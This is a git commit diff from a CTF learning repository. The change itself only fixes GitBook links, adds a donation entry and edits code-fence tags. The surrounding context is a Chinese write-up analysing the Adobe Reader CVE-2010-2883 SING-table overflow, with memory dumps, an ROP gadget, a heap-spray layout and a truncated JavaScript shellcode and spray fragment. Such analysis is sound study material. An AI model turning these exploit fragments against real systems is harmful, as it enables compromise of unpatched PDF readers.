fix gitbook

This commit is contained in:
firmianay 2020-09-11 14:34:13 +08:00
parent eb1e60345a
commit 12878022bf
2 changed files with 19 additions and 17 deletions

View File

@ -16,11 +16,11 @@
GitHub 地址:<https://github.com/firmianay/CTF-All-In-One>
GitBook 地址:<https://www.gitbook.com/book/firmianay/ctf-all-in-one/details>
GitBook 地址:<https://firmianay.gitbook.io/ctf-all-in-one/>
PDF/Mobi/ePub 文件下载地址:
- (推荐)<https://www.gitbook.com/download/pdf/book/firmianay/ctf-all-in-one>
- (推荐)<https://firmianay.gitbook.io/ctf-all-in-one/>
- (不推荐)<https://github.com/firmianay/CTF-All-In-One/releases>
## 目录
@ -70,3 +70,4 @@ CC BY-SA 4.0
- 2020-04-05 jingle ¥200
- 2020-05-19 新写的旧歌 ¥5.2
- 2020-08-26 *绍林 ¥50
- 2020-09-11 d0ub1e2 ¥66

View File

@ -180,16 +180,17 @@ typedef struct
还是利用 PDFStreamDumper从样本里将 TTF 取出来,需要注意的是 TTF 采用大端序。
```html
<pre>
$ xxd -g1 hexC0E5.tmp | grep -A1 "SING"
000000e0: 05 47 06 3a 00 00 eb 2c 00 00 00 20 <b>53 49 4e 47</b> .G.:...,... SING
000000f0: <b>d9 bc c8 b5 00 00 01 1c 00 00 1d df</b> 70 6f 73 74 ............post
</pre>
```
加粗部分即 SING 表目录项,其 `offset` 域为 `0x0000011c`
于是找到 SING 表,其中加粗部分为 `uniqueName` 域:
```html
<pre>
$ xxd -g1 hexC0E5.tmp | grep -A3 "00000110"
00000110: 3b 07 f1 00 00 00 20 f8 00 00 05 68 00 00 01 00 ;..... ....h....
@ -197,7 +198,7 @@ $ xxd -g1 hexC0E5.tmp | grep -A3 "00000110"
00000130: 73 5d 52 c2 14 a7 82 4a 0c 0c 0c 0c bc 94 b0 83 s]R....J........
00000140: 45 a2 04 7d 13 4b 30 18</b> 98 95 ed 9f 3e cc 50 8b E..}.K0.....>.P.
</pre>
```
### 栈溢出
我们已经知道栈溢出发生在 SING 表的处理中,于是在 IDA 中打开 CoolType.dll搜索字符串 "SING"
@ -288,7 +289,7 @@ char *strncat(char *dest, const char *src, size_t n);
```
此时的 this 指针指向 TTF 对象:
```html
<pre>
d ecx:
@ -300,17 +301,17 @@ d 021854B0:
021854C0 B4 5F F4 63 00 00 EB 70 00 00 00 56 50 43 4C 54 確鬰..雙...VPCLT
...
</pre>
```
然后 F8 单步步过eax 里是函数的返回值 `0012E4B4`,其值等于 this 指针的地址。
```html
<pre>
d 0012E4B4:
0012E4B4 <b>38 B9 7D 04</b> DF 1D 00 00 00 00 00 00 00 00 00 00 8箎?..........
</pre>
```
下一句给 eax 赋值为一个指向 SING 表的指针,即 this 指针的内容。
```html
<pre>
d 047DB938:
@ -352,7 +353,7 @@ d 047DB938:
047DBB68 CE 3C 13 48 AF 4D BA 78 DB 4E EA 5F 34 3F 14 8C ?H疢簒跱阓4?
047DBB78 80 56 8D 65 A8 84 38 6D 91 4E B1 54 6C 00 00 00 €V峞▌8m慛盩l... <-- 0x22d bytes
</pre>
```
所以这个函数的作用已经清楚了,通过传入的 tag 字符串,在 this 指针指向的 TTF 对象里找到对应的表目录项,使用表地址重置 this 指针。
接下来就是 strcat 函数了。
@ -457,7 +458,7 @@ d esp:
```
在进入下面的内容前,我们再来看一个东西,即 `eax` 是由 `edi` 控制的,通过对函数调用的回溯,可以看到程序对 edi 的处理,它的值在整个过程中都是不变的,而且 edi+0x3C 正好存放第一个 gadget 的地址。所以只要这个地址被覆盖,就可以控制 EIP 了。
```html
<pre>
d edi+0x3C:
@ -467,7 +468,7 @@ d 0012E6D0:
0012E6D0 <b>38 CB 80 4A</b> 44 B6 49 EA A5 2D 16 26 4B B1 FA D2 8藔JD禝辚-&K柄 <-- ROP
</pre>
```
### Heap spray
上面的 gadget 返回后,堆栈就被转移到 heap spray 的地方了。
@ -475,7 +476,7 @@ d 0012E6D0:
Heap spray 是在 shellcode 的前面加上大量的 slide code滑板指令组成一个注入代码段。然后向系统申请大量内存并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流使得程序执行到堆上最终将导致 shellcode 的执行。
我们来实际看一下(加粗的地方是后面会用到的 gadgets 地址):
```html
<pre>
0C0C0BE0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ <-- NOP slide
0C0C0BF0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
@ -517,10 +518,10 @@ Heap spray 是在 shellcode 的前面加上大量的 slide code滑板指令
0C0C0E30 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ <-- NOP slide
0C0C0E40 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
</pre>
```
通过 PDFStreamDumper 可以看到内嵌的 JavaScript将变量还原后代码如下
```javascript
```js
var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000 ...省略大量字符... a1%ucb42%u9024%u220e%u10c3%u3ab4' );
var rop = unescape( "%u0c0c%u0c0c" );
while (rop.length + 20 + 8 < 65536) rop+=rop;
@ -899,6 +900,6 @@ d 03E90000:
## 参考资料
- 《漏洞战争》
- <https://www.cvedetails.com/cve/CVE-2010-2883/>
- https://www.cvedetails.com/cve/CVE-2010-2883/
- [PDF File Format: Basic Structure](https://resources.infosecinstitute.com/pdf-file-format-basic-structure/)
- [TrueType 1.0 Font Files](https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/minuxs/TrueType%201.0%20Font%20Files.pdf)